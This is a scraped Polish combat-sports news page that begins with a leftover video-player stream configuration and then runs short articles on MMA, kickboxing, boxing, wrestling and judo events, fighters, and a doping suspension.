hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro_LFC.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro_LFC.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro_LFC.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Gala Ladies Fight Night już 17 grudnia. Poznaliśmy wreszcie miejsce!

Urodzinowa gala Ladies Fight Night odbędzie pod Śnieżką! Już za niespełna miesiąc, 17 grudnia, w Karpaczu odbędzie się czwarta gala Ladies Fight Night „Fortuna Dies Natalis”. Włodarze pierwszej w Europie żeńskiej organizacji sportów walki zapraszają fanów MMA i K-1 do wspólnego świętowania jubileuszu organizacji w wyjątkowych okolicznościach przyrody, u podnóża najwyższego szczytu Karkonoszy! Rejestracja na wydarzenie ruszyła.

Pierwsza w Europie żeńska organizacja sportów walki Ladies Fight Night w grudniu obchodzić będzie rocznicę powstania. Z tej okazji – 17 grudnia – odbędzie się urodzinowa gala LFN ”Fortuna Dies Natalis”. Tym razem włodarze federacji na miejsce gali wybrali wyjątkowy obiekt Hotel Gołębiewski w Karpaczu, położony na wysokości około 800 m n.p.m. u podnóża najwyższego szczytu gór Karkonoszy – Śnieżki.

Zależało nam, żeby pierwsze urodziny organizacji obchodzić z pompą. To był bardzo pracowity rok dla całej federacji. Zorganizowaliśmy trzy, bardzo udane gale, z których kolejne cieszyły się coraz większym zainteresowaniem fanów kobiecego MMA i K-1. Przykładamy dużą wagę do wysokiego poziomu sportowego i organizacyjnego naszych imprez i gala Ladies Fight Night „Fortuna Dies Natalis” w Karpaczu będzie tego najlepszym przykładem.

mówi Łukasz Chmal, prezes Ladies Fight Night.

Podczas grudniowej gali LFN zobaczymy 10 pojedynków w formule MMA i K-1. W klatkoringu pojawią się młode, utalentowane zawodniczki z Polski i zagranicy. Nie zabraknie takich nazwisk jak Patrycja Krawczyk, Monika Bohn, Weronika Zygmunt, Katarzyna Biegajło, Martyna Czech, Katarzyna Sadura i Annisa Haddaoui. Fani MMA zacierają ręce na walkę wieczoru, w której wystąpi jedna z najbardziej utalentowanych młodych zawodniczek MMA, Agnieszka Niedźwiedź.

Gala Ladies Fight Night „Fortuna Dies Natalis” podobnie jak poprzednie imprezy organizacji będzie bezpłatna. Atrakcji nie zabraknie. Wiadomo już, że muzyczną gwiazdą wieczoru będzie znany raper Sobota. Zaproszenia na galę można zdobyć rejestrując się na stronie internetowej www.lfn.com.pl lub pod adresem email: zaproszenia@rezerwacja.lfn.com.pl. Ilość wejściówek jest ograniczona.

Informacja prasowa

Do Grecji nie na wakacje

Kolejna odsłona zmagań o medale mistrzostw Europy w kickboxingu. Tym razem w Grecji, gdzie o tytuły powalczą startujący w formułach pointfighting, full contact i light contact.

Biało-czerwoni udali się do Loutraki ze sporymi nadziejami. Wśród naszych kadrowiczów nie brakuje zawodników, którzy sięgali już po najwyższe laury.

Tytuły w zasięgu ręki

W październiku Polacy walczyli o medale w mistrzostwach Europy w Mariborze i zdobyli 19 medali, w tym siedem złotych. Zawodnicy rywalizowali w formułach K-1, low kick i light contact. Niektórzy ponownie zaprezentują się w Grecji, tak jak Paulina Jarzmik (60kg), która wystartuje w kick light. Zawodniczka X Fight Piaseczno ma na koncie złoto w light contact podczas zmagań w Mariborze. Dwa lata temu Jarzmik wystąpiła na czempionacie Starego Kontynentu, który również odbywał się w słoweńskim mieście. Rywalizowała wtedy w pointfightingu i okazała się bezkonkurencyjna. 

Rok temu na salony wszedł Mateusz Kubiszyn (86kg), który na mistrzostwach świata w Dublinie sięgnął po złoto w full contact. Akcje zawodnika Kickboxing Game Over Lubaczów stoją wysoko. Kubiszyn ma okazję potwierdzić, że wygrana w finałowym starciu z mocnym Rosjaninem Igorem Kopylovem nie była dziełem przypadku. W Grecji w full contact wystartują także Dorota Godzina (55kg) i Robert Krasoń (75kg). Doświadczona zawodniczka X Fight Piaseczno to wielokrotna medalistka mistrzostw Polski, która z sukcesami występuje na arenie międzynarodowej oraz w walkach zawodowych. Miesiąc temu w Mariborze sięgnęła po brąz w light contact. Z kolei Krasoń to wicemistrz świata z Dublina.

Niezwykle mocna jest nasza kadra w kick light. Podczas ostatnich mistrzostw świata biało-czerwoni wygrali klasyfikację medalową. W Grecji o powtórzenie sukces postarają się m.in. Piotr Wypchał (94kg) i Michał Bławdziewicz (+94kg).

Zaledwie pięć osób liczy kadra w pointfightingu. O medale powalczą Malwina Strzelecka (55kg), wspomniana już Paulina Jarzmik, Tomasz Kurzeja (74kg), doświadczony Piotr Maślanka (79kg) i Rafał Adamczyk (84kg).

Zatrzymać świat

Polacy będą jedną z najliczniej reprezentowanych nacji podczas mistrzostw Europy. Łącznie do udziału w imprezie zgłoszono 480 zawodników.

Najliczniejszą reprezentacją jest Turcja, która wydelegowała do rywalizacji 49 fighterów. O czterech mniej liczy kadra Grecji. 39 nazwisk znalazło się w reprezentacji Rosji, o dwa mniej wśród Włochów. Polaków do Grecji wybrało się 33. Po jednym zawodniku zgłosiły Kosowo i Estonia.

Kadra Polski full contact: Karolina Mośko (48kg), Dorota Godzina (55kg), Agata Piechowicz (60kg), Emilia Czerwińska (65kg), Karolina Dziedzic (70kg), Robert Niedźwiedzki (57kh), Michał Pomieciński (60kg), Jakub Pokusa (67kg), Kamil Dajwłowski (71kg), Robert Krasoń (75kg), Tomasz Borowiec (81kg), Mateusz Kubiszyn (86kg), Paweł Strykowski (91kg), +91kg Aleksander Stawirej (+91kg)

Kadra Polski kick light: Karolina Kubiak (50kg), Klara Kleczkowska (55kg), Paulina Jarzmik (60kg), Monika Kędzierska (65kg), Katarzyna Kwiecień (70kg.), +Natalia Panas (+70kg), Patryk Kuryłek (57kg), Mateusz Niżejewski (63kg), Roger Garbaczewski (69kg), Jerzy Wroński (74kg), Wojciech Wiśniewski (79kg), Mikołaj Krause (84kg), Michał Grzesiak (89kg), Piotr Wypchał (94kg), Michał Bławdziewicz (+94kg).

KM

Gorące walki w przyszłym roku?

Eddie Hearn robi wszystko, żeby Anthony Joshua stał się pierwszoplanową wagi ciężkiej. W przyszłym roku ma spotkać się z dwoma potężnymi nazwiskami wagi ciężkiej, czyli Władimirem Kliczko i Deontayem Wilderem, a po nich ma zacząć się era brytyjskiej dominacji w kategorii królewskiej.

Anthony Joshua robi błyskawiczną karierę, co w dużej mierze jest zasługą jego ogromnych umiejętności. Mistrza świata IBF czekają kolejne wyzwania, jednak na obecną chwilę do konkretów daleko.

Wprowadzić porządek

Waga ciężka od zawsze cieszyła się ogromnym prestiżem i poważaniem. O miano mistrza rywalizowali wielcy pięściarze, którzy przechodzili do historii. W ostatnich latach należy wymienić Evandera Holyfiedla, Mike'a Tysona, Lennoxa Lewisa, Witalija Kliczko, Chrisa Byrda czy Roya Jonesa Jr. 

Nadszedł czas przetasowań i zmian. W listopadzie ubiegłego roku z tronu został zepchnięty Władimir Kliczko, którego zastąpił Tyson Fury. Brytyjczyk nie wytrzymał presji i popadł w uzależnienie od używek. Fury zrzekł się pasów WBO i WBA. Czempionami wagi ciężkiej pozostają Deontay Wilder (WBC), który po latach posuchy przywrócił amerykańskim fanom radość z boksu oraz Anthony Joshua (IBF). Ten ostatni kreowany jest na przyszłość boksu i wielką gwiazdę. 

Szedł jak burza i kładł na deski kolejnych rywali. Poważnie zaczęto go traktować, gdy powalił mocnego Kevina Johnsona. Pokonywał kolejnych groźnych rywali na krajowym podwórku aż dostał szansę walki o pas mistrzowski IBF. Charles Martin tańczył po kolejnych ciosach 27-latka i padł w drugiej rundzie. Mistrz olimpijski z Londynu triumfował. W czerwcu pokonał Dominica Breazeale'a w pierwszej obronie tytułu. Wszystkie dotychczasowe walki Joshua wygrał przed czasem, a stoczył ich siedemnaście.

Kolejnym wyzwaniem 27-latka będzie Eric Molina. Pojedynek odbędzie się 10 grudnia w Manchesterze. 34-letni Molina ostatnio pokonał Tomasza Adamka. Półtora roku temu rywalizował o pas WBC, jednak potężna dłoń Deontaya Wildera powstrzymała jego zapędy. Faworytem jest Joshua, którego kalendarza przyszłorocznych walk może wyglądać ciekawie, choć wszystko jest jeszcze niewiadomą.

Mistrzowskie testy

O interesy Joshuy dba Eddie Hearn. Promotor brytyjskiego mistrza świata ma ambitne plany. W przyszłym roku planuje zorganizować walkę Joshuy z Władimirem Kliczko. Młodość i przebojowość kontra doświadczenie i pewność siebie. Spotkanie dwóch epok miałoby odbyć się w kwietniu. W przypadku wygranej Joshua stanąłby przed kolejnym wyzwaniem. W sierpniu na szali miałby pojawić się pas WBC należący do Wildera.

Tyle plany, zobaczymy co przyniesie przyszłość. Wiadomo, że dla Joshuy rywalizacja z ikoną boksu byłaby ogromnym wyzwaniem. 27-latek miałby okazję porównać się z legendą. Gorące byłoby starcie Brytyjczyka z Wilderem. Obaj mają potężne ciosy i kładą na deski kolejnych rywali. Któryś z nich musiałby przegrać, więc tym samym nie byłby już niepokonany. Starcie brytyjsko-amerykańskie dostarczyłoby wielu emocji.

KM

Jotko zgłosił akces do walki o pas

Krzysztof Jotko zapowiadał, że jego celem jest pas mistrza UFC w wadze średniej. Zapędy Polaka miał powstrzymać Tahles Leites podczas gali w Sao Paulo. 35-latek okazał się bezradny wobec dobrze dysponowanego Polaka.

Jotko świetnie odnalazł się w najlepszej organizacji MMA na świecie i z walki na walkę wygląda coraz lepiej. Niewykluczone, że niebawem 27-latek dostanie szansę rywalizacji o pas mistrzowski. Wykonał kolejny krok w kierunku tytułu. Michael Bisping powinien bliżej przyjrzeć się polskiemu fighterowi.

Rywal nie rozwinął skrzydeł

Gala UFC Fight Night 100 w Sao Paulo będzie miłym wspomnieniem dla polskich fanów MMA. Krzysztof Jotko spotkał się z Thalesem Leitesem, który otrzymał ogromne wsparcie z trybun. Polak nie pozwolił rozwinąć Brazylijczykowi skrzydeł, choć ten co rusz próbował sprowadzić walkę do parteru. 27-latek walczył uważnie, skutecznie i punktował Leitesa.

O tym, że 35-letni Brazylijczyk to poważna marka najlepiej świadczy pojedynek z Michaelem Bispingiem. Leites walczył jak równy z równym z obecnym mistrzem wagi średniej. Przegrał po pięciu rundach niejednogłośną decyzją sędziów. W tym roku Brazylijczyk zanotował porażkę w starciu z mocnym Gegardem Mousasim, który w nocy z soboty na niedzielę w Belfaście uporał się w pierwszej rundzie Uriahem Hallem i odniósł 41. zwycięstwo w karierze. Wracając do Leitesa, Brazylijczyk w sierpniu zaprezentował się na gali UFC Fight Night 92. W trzeciej rundzie zmusił do poddania Chrissa Camozziego, czym pozwolił mu odbudować się. 35-latek jest niezwykle groźny w parterze. Aż 15 razy wygrał przez poddanie, łącznie zanotował 26 zwycięstw.

Jotko zdawał sobie sprawę z atutów rywala. Polski figher zaczął aktywnie, jednak Brazylijczyk szybko ruszył pod siatkę i szukał obalenia. Jotko był ruchliwy, co utrudniało zadanie rywalowi. Leites nic nie wywalczył, sędzia nakazał powrót na środek. W końcu 35-latek dopiął swego i walka przeniosła się na ziemię. Jotko poradził sobie z naporem rywala, znalazł się z góry, co przemawiało na jego korzyść. Drugie starcie miało podobny przebieg. Leites szukał obalenia, a Jotko słał w stronę rywala kolejne kopnięcia. Po jednym z nich walka przeniosła się do parteru, gdzie Polak mógł zdobyć przewagę. Pod koniec rundy 27-latek ponownie zapisał na swoim koncie obalenie. Brazylijczyk miał świadomość, że przewagę ma Jotko i w trzeciej rundzie próbował odwrócić losy rywalizacji. Nie potrafił znaleźć recepty na Polaka, choć udało mu się zapiąć duszenie gilotynowe, ale nie wyrządził krzywdy naszemu zawodnikowi. Do końca starcia Jotko zadał jeszcze kilka ciosów. Sędziowie byli jednomyślni – 29:27, 30:27, 30:27 na korzyści Polaka.

Mocna pozycja

Jotko debiutował w UFC w grudniu 2013 roku walką z Bruno Santosem. Przygodę z amerykańską organizacją rozpoczął od zwycięstwa, jednak w kolejnej walce lepszy okazał się Magnues Cedenblad. Dodatkowo przyplątała się kontuzja lewej ręki, co uniemożliwiło start zawodnika na gali UFC w Krakowie.

Do oktagonu Jotko wrócił w październiku 2014 roku. Od tego czasu stoczył pięć walk i wszystkie wygrał. Akcje Polaka idą w górę, zwłaszcza po efektownym pojedynku z Tamdanem McCrory'm. Jotko odesłał rywala do domu zaledwie po minucie rywalizacji. W Sao Paulo pokonał doświadczonego i mocnego Brazylijczyka, czym potwierdził wysoki poziom. Śmiało mówi o walce o pas. Nie są to słowa rzucane na wiatr, co Jotko potwierdza równą formą. Doświadczony Bisping musi liczyć się z tym, że młody i głodny polski wilk jest żądny tytułu. 

KM

Jankowski vs Kazieczko na otwarcie gali FEN 15 Final Strike

Starciem utytułowanego weterana ze wschodzącą gwiazdą polskiego K-1 można nazwać walkę Eliasza Jankowskiego z Wojciechem Kazieczko, od której 14 stycznia rozpocznie się gala FEN 15 Final Strike w lubińskiej hali RCS. Dla obu zawodników walka zakontraktowana w kategorii do 67 kg będzie debiutem w organizacji Fight Exclusive Night.

31-letni Eliasz Jankowski jest bez wątpienia jednym z najbardziej utytułowanych i doświadczonych polskich kickbokserów. Lista sukcesów legnickiego wojownika jest długa i imponująca – są na niej m.in. tytuły zawodowego mistrza świata w K-1 Global, zawodowego mistrza świata organizacji WKN i wicemistrza Europy federacji WAKO, a także Puchar Świata WAKO w K-1. Na zawodowych arenach „Jankes” stoczył dotychczas 22 walki, z których aż 16 wygrał (5 zwycięstw przed czasem). Reprezentant Prych Team Legnica/TKKF Olimp Legnica karierę sportową łączy ze służbą wojskową – jest zawodowym żołnierzem w 10. Brygadzie Kawalerii Pancernej w Świętoszowie.

19-letni Wojciech Kazieczko to z kolei jeden z najbardziej obiecujących polskich kickbokserów młodego pokolenia. Do największych jego osiągnięć należą tytuły mistrza Polski juniorów w formułach kick light, full contact i K-1 oraz zdobyty w ubiegłym roku srebrny medal mistrzostw Europy juniorów w K-1 Rules. Zawodnik Funfit Boxing Team Zielona Góra znakomicie spisał się także na seniorskich mistrzostwach Polski w K-1 Rules w czerwcu tego roku – wywalczył tytuł wicemistrzowski, w drodze do finału nokautując wszystkich rywali. Wychowanek duetu trenerskiego Jakub Kozera – Patryk Proszek ma na swoim koncie dwie zawodowe walki – oba pojedynki pewnie wygrał, pierwszy z nich przez nokaut, drugi na punkty.

Oprócz starcia Eliasza Jankowskiego z Wojciechem Kazieczko na gali FEN 15 Final Strike kibiców czekają także m.in. walki o pasy mistrzowskie w formule K-1 z udziałem Pawła Biszczaka, Wojciecha Wierzbickiego i Róży  Gumiennej oraz pojedynki MMA, w których wystąpią m.in. Marcin Zontek, Michał Michalski, Adam Golonkiewicz, Mateusz Głąb i Michał Miłek.

Bilety na styczniową galę FEN 15 w Lubinie można już kupować w serwisach Eventim.pl i KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Machida zawieszony!

Lyoto Machidę czeka dłuższa przerwa od występów w oktagonie. Wszystko przez stosowanie niedozwolonych środków, które w organizmie Brazylijczyka wykryto podczas kwietniowego badania. 38-latek został zawieszony na 18 miesięcy.

Suplement 7-Keto zawierający dehydroepiandrosteron znajduje się na liście środków zakazanych przez Amerykańską Agencję Dopingową. Umieszczono ją w gronie niedozwolonych wraz z początkiem roku.

Przyznał się do winy

Doping rzuca się na sport, w tym mieszane sztuki walki. Niedozwolone środki są zmorą rywalizacji sportowej. Dają nieograniczone możliwości, wytrzymałość i pozwalają osiągać sukcesy, ale wszystko trwa do czasu. Z drugiej strony warto pamiętać, że listy środków zakazanych są aktualizowane, co umyka niektórym zawodnikom. Jeszcze w ubiegłym roku można było stosować melodonium, które w maju postawiło pod znakiem zapytania wyjazd zapaśnika Magomedmurada Gadżyjewa na igrzyskach olimpijskich w Rio de Janeiro. W organizmie reprezentanta Polski wykryto śladowe ilości substancji. Polski Związek Zapaśniczy stoczył walkę o mistrza Europy, który ostatecznie do Brazylii pojechał. Głośny był również przypadek tenisistki Marii Szarapowej.

Do niedawna można było również stosować dehydroepiandrosteron, jednak wraz z początkiem roku USADA wpisała specyfik na listę środków zakazanych. Suplement 7-Keto zawierający wspomnianą substancję stał się źródłem kłopotów Lyoto Machidy. Brazylijski fighter MMA stosował niedozwolony środek, do czego przyznał się przed kwietniową galą UFC on FOX 19. Walka 38-latka z Danem Hendersonem została odwołana. Brazylijczyk nie uciekał od odpowiedzialności i przyznał, że jest gotowy ponieść konsekwencje. Przepraszał fanów za zaistniałą substancję. Ponadto, zapewniał, że nie wiedział o zakazie stosowania suplementu. 

Były mistrz UFC w wadze półciężkiej musi ponieść konsekwencje – tak zadecydowała USADA. Agencja zawiesiła Brazylijczyka na 18 miesięcy. Warto podkreślić, że kara obowiązuje od 8 kwietnia, kiedy pobrano próbkę do badania. Zatem Machida musi odcierpieć jeszcze rok.

Z pewnością Brazylijczyk będzie chciał wrócić i udowodnić swoją wartość. Z Hendersonem miał się zrehabilitować za nieudane występy w 2015 roku, kiedy poniósł dwie porażki. 

Nie pierwszy, nie ostatni

Machida to doświadczony i utytułowany fighter. Brazylijczyk wygrał 22 walki w UFC, a w 2009 roku wywalczył tytuł w kategorii półciężkiej. Przez lata był w czołówce amerykańskiej organizacji. Dwa lata temu ponownie walczył o pas, jednak przegrał z Chrisem Weidmanem.

Praktycznie cały czas w MMA pojawiają się doniesienia o aferach dopingowych. Przez stosowanie zakazanych środków w problemy wpadł Jon Jones. 29-latek uchodził za gwiazdę UFC, dzierżył pas wagi półciężkiej i miał przed sobą otwarte drzwi do sukcesu. W 2015 roku u Amerykanina wykryto jeden z metabolitów kokainy. Wrócił do gry, ale w lipcu nie przystąpił do walki z Danielem Cormierem. Ponownie w tle pojawiły się problemy z dopingiem.

Na zażywaniu niedozwolonych substancji przyłapano również takie gwiazdy UFC jak Anderson Silva czy Nick Diaz. W tym roku na światło dzienne wyszły problemy z dopingiem: Konstantina Eokhina, Abdula Kerina Edilova, Brocka Lesnara czy Chada Mendesa.

W 2014 roku na dziewięć miesięcy został zawieszony Piotr Hallmann.

KM

Piotrków i Racibórz idą „łeb w łeb”

Krajowa Liga Zapaśnicza rozkręca się. Rywalizacja wystartowała 2 listopada, do tej pory odbyły się 3. kolejki. Najlepszy start zanotowały AKS Wrestling Team Piotrków Trybunalski i Unia Racibórz.

O powstaniu ligi zapaśniczej mówiło się od dłuższego czasu. Projekt nabierał kształtu aż w końcu wyklarował się. W 2015 roku podpisano umowę, która zakładała, że liga wystartuje po zakończeniu igrzysk olimpijskich w Rio de Janeiro. Początkowo przewidywano uczestnictwo ośmiu klubów, jednak ostatecznie na starcie pojawiło się sześć ekip.

Mieszkanka wybuchowa

Krajowa Liga Zapaśnicza ma na celu promocję dyscypliny oraz zwiększenie sportowej rywalizacji i podniesienie poziomu zawodników. Warto podkreślić, że jest to pierwsza tego typu inicjatywa, w której można zobaczyć zmagania w zapasach kobiet, stylu wolnym oraz stylu klasycznym mężczyzn.

Jak z procy rywalizację rozpoczął zespół AKS Wrestling Team Piotrków Trybunalski, który w pierwszym spotkaniu pokonał WKS Grunwald Poznań. Po trzech kolejkach widać, że siłą piotrkowskiej drużyny są panie. Tylko Selishka Miglena zapisała na swoim koncie jedną porażkę. W starciu z Grunwaldem lepsza okazała się od niej utytułowana Iwona Matkowska. Wspomniana Selishka, Roksana Zasina i Taybe Yusein tworzą mocną paczkę. W spotkaniach z AKS Białogard i AZS Supra Brokers Wrocław zapaśniczki z Piotrkowa okazały się bezkonkurencyjne. 

W 2. kolejce starcie „AKS-ów” było niezwykle zacięte. Do samego końca wynik był sprawą niewiadomą. Styl wolny dla wrocławian, rywalizacja pań dla Piotrkowa i o wszystkim zadecydowali klasycy. Michał Król i Radosław Grzybicki triumfowali, przegrał tylko Mateusz Bernatek. Piotrków pokonał Białogard 6:4. Z kolei w 3. kolejce AKS rozbił zespół z Wrocławia 8:1.

Zespół z Białogardu stoczył trzy zacięte boje, jednak wygrał tylko raz. W 1. kolejce AKS pokonał 5:4 AZS AWF Warszawa. Później przegrał z Piotrkowem i do ostatnich chwil rywalizował z Unią Racibórz, która może pochwalić się kompletem zwycięstw. W małych punktach przegrywa jednak rywalizację z AKS-em.

Bez punktów pozostają AZS AWF Warszawa i AZ Supra Brokers Wrocław.

Emocji nie brakuje

Zaciętych ligowych bojów nie brakuje. W 3. kolejce na wyróżnienie zasłużyło starcie w kategorii 97kg w stylu wolnym pomiędzy Sebastianem Jezierzańskim (Unia Racibórz) a Zbigniewem Baranowskim (AKS Białogard). Zapaśnicy ani przez chwilę nie ustępowali, byli czujni i dokładni. Wygrał olimpijczyk Baranowski. Mocnym punktem Białogardu jest mistrz Europy Magomedmurad Gadżyjew.

Kolejne spotkania odbędą się już 23 listopada. Tegoroczne zmagania zakończą się 30 listopada, kiedy dojdzie do arcyciekawego spotkania. O pozycję lidera na półmetku powalczą AKS Wrestling Team Piotrków Trybunalski i Unia Racibórz. Potem nastąpi przerwa zimowa. Na ligowe zapasy będziemy musieli czekać dwa miesiące. Następne spotkania zaplanowano na 25 stycznia.

KM

Szykuje się kolejny powrót?

Tęsknota rodzi smutek, który ciężko przezwyciężyć. Okazuje się, że niełatwo za sobą zamknąć pewien rozdział życia. Czy Tomasz Adamek wróci na ring?

Spekulacji na ten temat jest coraz więcej. Niedawno w programie „Puncher” w Polsacie „Góral” zadeklarował, że chciałby ponownie wejść do ringu. Od razu pojawiły się spekulacje o powrocie pięściarza urodzonego w Żywcu na bokserskie salony.

Źle na emeryturze

Niektórzy odliczają lata, miesiące, dni do osiągnięcia wieku emerytalnego. Liczą, że w końcu będą mieli okazję odpocząć i skorzystać z życia. Los sportowca rządzi się swoimi prawami. Wielu chce rywalizować jak najdłużej, ale czasami zdrowie nie dopisuje, forma już nie ta i decydują się odejść. Niektórzy zaskakują swoimi decyzjami, a inni przygotowują publikę na zakończenie kariery.

„Ciągnie wilka do lasu”. Trudno wytrzymać bez rywalizacji, więc „emeryci” często podnoszą się z fotela i wracają na ring. W tym roku przygodę z boksem zakończył Albert Sosnowski. „Dragon” pokonał w drugiej rundzie Andrasa Csomora podczas marcowej gali w Żyrardowie. Spokojnie, nikomu nic się nie przywidziało. 37-latek wystąpił we wrześniu na gali w Gdańsku. Postanowił wrócić i zmierzyć się z Andrzejem Wawrzykiem. Były mistrz Europy w wadze ciężkiej poddał się po piątej rundzie. Za to z przytupem wrócił Manny Pacquiao. 5 listopada Filipińczyk pokonał Jessiego Vargasa i wywalczył pas mistrza świata WBO kategorii półśredniej. Teraz czeka na kolejnego rywala, choć kwietniowa walka z Timothy'm Bradley'em miała być uwieńczeniem jego kariery. Ponoć „tylko krowa nie zmienia zdania”. 

Czy na taki krok zdecyduje się Tomasz Adamek? Przed kwietniowym starciem z Ericem Moliną „Góral” zapowiadał, że w przypadku porażki pożegna się z boksem. Amerykanin wygrał przed czasem w dziesiątej rundzie. Minęło kilka miesięcy i Adamek coraz śmielej mówi, że brakuje mu treningów i ringu. Szczegóły sprawy nie są znane. Nie wiadomo, kiedy i z kim miałby walczyć 40-latek. Trzeba cierpliwie czekać na rozwój wydarzeń.

Dał nam wiele radości

„Góral” to jeden z najlepszych polskich bokserów ostatnich lat. Kariera Adamka na zakręcie znalazła się po porażce z Arturem Szpilką. Walka była określana jako pojedynek o prymat w polskiej wadze ciężkiej. „Szpila” odsunął Adamka w cień, który później pokonał jeszcze Przemysława Saletę i poległ ze wspomnianym Moliną.

Jednak przez lata bokser z Żywca dawał polskim miłośnikom boksu wiele emocji. Wszyscy pamiętają zacięte boje z Paulem Briggsem, których stawką był tytuł WBC wagi półciężkiej. Na swoim koncie polski pięściarz zapisał pasy IBO i IBF kategorii juniorciężkiej. Próbował sił w wadze ciężkiej, gdzie dotarł do walki o pas WBC. Nie wytrzymał trudów walki z Witalijem Kliczko i poległ w dziesiątej rundzie. Wygrał 50 walki. Czy dołoży triumf numer 51?

KM

Nishida zakończyła karierę

„Trzeba wiedzieć, kiedy ze sceny zejść”. Jedni odciągają ten moment w nieskończoność, a inni zaskakują swoją decyzją. 30-letnia judoczka Yuka Nishida postanowiła zakończyć karierę.

Japonka ma za sobą bogatą karierę. Przez lata utrzymała się w czołówce kategorii 52kg. 

Rodzinne tradycje

Yuka Nishida ma judo we krwi. Jej ojciec, Takahiro, największe sukcesy odnosił w latach 70. W 1976 roku triumfował w mistrzostwach świata juniorów, a w 1981 roku wygrał prestiżowy turniej w Paryżu. Co ciekawe, Nishida zajął siódme miejsce podczas mistrzostw świata w Seulu. W Korei po brązowy medal sięgnął Wiesław Błach.

30-letnia Yuka Nishida może pochwalić się zdecydowanie większymi osiągnięciami niż ojciec. W 2010 roku Japonka sięgnęła gwiazd, kiedy to wywalczyła złoty medal mistrzostw świata. Rok później była o krok od powtórzenia sukcesu, jednak rywalizację w Paryżu zakończyła ze srebrnym medalem. Na swoim koncie zapisała również brąz mistrzostw świata, który zdobyła w 2007 roku.

Szczyt formy Nishidy przypadał na latach 2010-2012. Wtedy była jedną z najgroźniejszych zawodniczek kategorii 52kg na świecie, co potwierdzają medale mistrzostw świata. W międzynarodowych startach nie miała sobie równych i w kolejnych zawodach zajmowała czołowe lokaty. W 2010 triumfowała w Grand Slamach w Moskwie i w Tokio, a także w Pucharze Świata w Ułan Bator. Zapisała na swoim koncie również trzy medale prestiżowych zawodów Masters. Czterokrotnie wygrywała zawody Grand Slam, dwukrotnie Grand Prix. Dominowała również na kontynencie azjatyckim. W 2011 i 2012 roku była bezkonkurencyjna podczas mistrzowskich zmagań. 

Później wiodło jej się różnie. Coraz rzadziej pojawiała się na arenie międzynarodowej. W 2015 roku Nishida sięgnęła po brązowy medali mistrzostw Azji. Wygrała również zawody Grand Prix w Qingdao. Do końca walczyła o kwalifikację olimpijską, aby wystartować w Rio de Janeiro. Nie udało się. Nishida nie spełniła marzenia o starcie na igrzyskach olimpijskich. 

W ostatnim występie nie przebrnęła nawet eliminacji. Już na starcie japońskiego turnieju Kodokan Cup 30-latka pożegnała się z rywalizacją. Yuka Nishida podjęła decyzję o zakończeniu bogatej kariery, w której do pełni szczęścia zabrakło jej tylko medalu olimpijskiego.

Kolejna z wielkich

Judo jest ściśle związane z japońską kulturą, więc zawodnicy z Kraju Kwitnącej Wiśni należą do najlepszych na świecie. Jedni kończą bogate kariery, ale na ich miejsce pojawiają się nowe gwiazdy.

W ostatnim czasie decyzję o zakończeniu kariery podjęła Haruna Asami (48kg). 28-letnia zawodniczka wywalczyła cztery medale mistrzostw świata, w tym dwa złote. W wieku 30 lat z tatami pożegnał się mistrz świata z Tokio z 2010 roku Hiroyuki Akimoto. Japończyk najpierw rywalizował w kategorii 66kg, a następnie w 73kg.

Fot. judobase.org

KM

Co z przyszłością Pacquiao?

W kwietniu Manny Pacquiao miał stoczyć ostatnią walkę. Filipińczyk pokonał Timothy'ego Bradleya i odszedł na sportową emeryturę. Po siedmiu miesiącach ponownie zameldował się w ringu. Wygrał i czeka na kolejny pojedynek. Z kim zmierzy się popularny „Pacman”?

Wszyscy pamiętają najdroższy pojedynek w historii boksu. 2 maja 2015 roku Pacquiao zmierzył się z Floydem Mayweatherem Jr. Lepszy okazał się Amerykanin, a Filipińczyk porażkę tłumaczył kontuzją barku. Przewijał się temat rewanżu, jednak obaj bokserzy zakończyli kariery. Pacquiao wrócił…

Wielki rewanż?

Po starciu z Mayweatherem, Pacquiao przeszedł operację i dochodził do pełnej sprawności. Kolejny pojedynek stoczył blisko rok po spotkaiu z „Moneyem”. „Pacman” stanął naprzeciw Bradleya. Było to trzecie spotkanie pięściarzy i decydujące o tym, który jest lepszy. Triumfował „Pacman” i powiedział „dość”. Zdecydował, że dalej będzie realizował się w polityce. Zdobył mandat senatorski, aby działać na rzecz dobra wspólnego i rozwoju Filipin. W garniturze wyglądał dobrze, ale brakowało mu ringu. W końcu zapadła decyzja i 37-latek wrócił do sportowej rywalizacji. 

5 listopada wszedł do ringu z Jessim Vargasem. Ani przez chwilę nie było różnicy wieku, która wynosi 10 lat. Już w drugiej rundzie Meksykanin leżał na deskach, jednak do końca ambitnie walczył. Decyzją sędziów triumfował Pacquiao.

37-letni Filipińczyk wywalczył tytuł mistrza świata WBO wagi półśredniej. To kolejny pas w bogatej karierze Pacquiao, który święcił triumfy m.in. w wadze muszej i lekkiej. Powrót Pacquiao zrodził wiele pytań, a wygrana z Vargasem jeszcze więcej. Przede wszystkim o kolejnego rywala i kształt dalszej przygody „Pacmana” z boksem. Nie da się ukryć, że ponownie odżywają głosy o rewanżu z Mayweatherem. Jednak „Money” po 49. wygranych walkach na zawodowym ringu pożegnał się z boksem. W ostatnim pojedynku pokonał Andre Berto.

Trudno oceniać realność kolejnego starcia Pacquiao z Mayweatherem, choć na obecną chwilę wydaje się ono niemożliwe. Chyba, że na stole pojawi się ogromna suma, które pobije wszystkie rekordy. Bez wątpienia pojedynek bokserskich mistrzów sprzedałby się bez problemu. Warto pamiętać, że panowie są coraz starsi. Racja – mogą być jak wino, ale szczyt formy mają raczej za sobą.

Będzie Broner?

Kandydatem do rywalizacji z Pacquiao jest Adrien Broner. 27-latek urodzony w Cincinnati miał już na swoim koncie pasy WBO w kategorii junior lekkiej i WBC w lekkiej. W ostatnim starciu pokonał Ashleya Theophane'a, co pozwoliło mu wywalczyć tytuł WBA w wadze super lekkiej. Broner ma już w planach kolejną walkę. W lutym będzie rywalizował z Adrianem Granadosem.

27-latek ma spore doświadczenie. Stoczył już 34 pojedynki, z których 24 wygrał przed czasem. Zapisał na swoim koncie także dwie porażki. Walka Pacquiao vs Broner również wyglądałaby ciekawie i rodziłaby spore zainteresowanie.

KM

Polskie starcie dla Jędrzejczyk

